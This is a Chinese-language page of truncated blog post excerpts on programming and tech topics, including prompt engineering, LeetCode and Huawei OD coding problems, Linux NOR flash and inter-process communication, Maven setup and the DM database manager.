如何理解 Prompt ?Prompt Enginneeringprompt 通常指的是一个输入的文本段落或短语,作为生成模型输出的起点或引导。prompt 可以是一个问题、一段文字描述、一段对话或任何形式的文本输入,模型会基于 prompt 所提供的上下文和语义信息&#x…...

Leetcode力扣秋招刷题路-0099
从0开始的秋招刷题路,记录下所刷每道题的题解,帮助自己回顾总结 99. 恢复二叉搜索树 给你二叉搜索树的根节点 root ,该树中的 恰好 两个节点的值被错误地交换。请在不改变其结构的情况下,恢复这棵树 。 示例 1: 输入…...

消费升级趋势下,平台如何在广告电商模式中攫取新流量
如今电商平台飞速发展,越来越多的人加入电商运营的行列,同行竞争逐渐变得激烈起来,为了能够让平台有更多的展现机会,提升平台的商品转化率,大家都很重视平台的优化,因为一个好的平台可以给自身带来更多的流…...

华为OD机试真题 用 C++ 实现 - 众数和中位数 | 多看题,提高通过率
最近更新的博客 华为OD机试 - 入栈出栈(C++) | 附带编码思路 【2023】 华为OD机试 - 箱子之形摆放(C++) | 附带编码思路 【2023】 华为OD机试 - 简易内存池 2(C++) | 附带编码思路 【2023】 华为OD机试 - 第 N 个排列(C++) | 附带编码思路 【2023】 华为OD机试 - 考古…...

Linux NOR 开发指南
Linux NOR 开发指南 1 简介 编写目的 此文档描述Sunxi NOR 模块的使用方法,为相关人员调试提供指导 适用范围 boot0: 适用于brandy-2.0u-boot: 适用于u-boot-2018kernel: 适用于linux-4.9/linux-5.4 内核 BSP 的开发人员、测试人员 2 模块介绍 2.1 模块功能…...

免费领取丨精算与金融建模行业解决方案白皮书,不要错过!
一、我国精算行业现状 精算学是对人类社会所面临的各种风险及其他客观事务进行量化分析和处理的一门科学。在保险、金融、投资和各类风险管理等许多领域得到广泛应用,尤其在保险和社会保障领域,已成为不可或缺的科学和技术,以保险公司为例&a…...

ideal创建maven项目
前置工作本机安装mavenIdea 设置使用本机maven 工具Settings--->Maven开始创建maven项目创建maven项目,勾选通过模板创建,选择 maven-archetype-webapp 模板GroupId: 公司名倒序ArtifactId: 项目名设置本地maven仓库配置项目文件显示名,和…...

ChatGPT是什么?为何会引爆国内算力需求?
过去十年中,通过“深度学习大算力”从而获得训练模型是实现人工智能的主流技术途径。由于深度学习、数据和算力这三个要素都已具备,全世界掀起了“大炼模型”的热潮,也催生了大批人工智能企业。大模型是人工智能的发展趋势和未来大模型&#…...

【Linux】进程间通信(万字详解)—— 匿名管道 | 命名管道 | System V | 共享内存
🌈欢迎来到Linux专栏~~进程通信 (꒪ꇴ꒪(꒪ꇴ꒪ )🐣,我是Scort目前状态:大三非科班啃C中🌍博客主页:张小姐的猫~江湖背景快上车🚘,握好方向盘跟我有一起打天下嘞!送给自己的一句鸡汤…...

【Database-02】达梦数据库 - DM Manager管理工具安装
1、简介 DM Manager是达梦数据库自带的图形化界面管理工具,在安装达梦数据库的时候就会自动安装。 Linux环境,默认安装路径为:达梦安装目录/tool/manager,如果Linux是安装GUI,那么就可以直接启动使用。 实际大部分使…...

剑指 Offer 42. 连续子数组的最大和
剑指 Offer 42. 连续子数组的最大和 难度:easy\color{Green}{easy}easy 题目描述 输入一个整型数组,数组中的一个或连续多个整数组成一个子数组。求所有子数组的和的最大值。 要求时间复杂度为O(n)。 示例1: 输入: nums [-2,1,-3,4,-1,2,1,-5,4] 输…...

双指针 (C/C++)
1. 双指针 双指针算法的核心思想:将暴力解法的时间复杂度,通常是O(N*N),通过某种特殊的性质优化到O(N)。 做题思路:先想想暴力解法的思路,然后分析这道题的特殊性质,一般是单调性。然后得出双指针算法的思路…...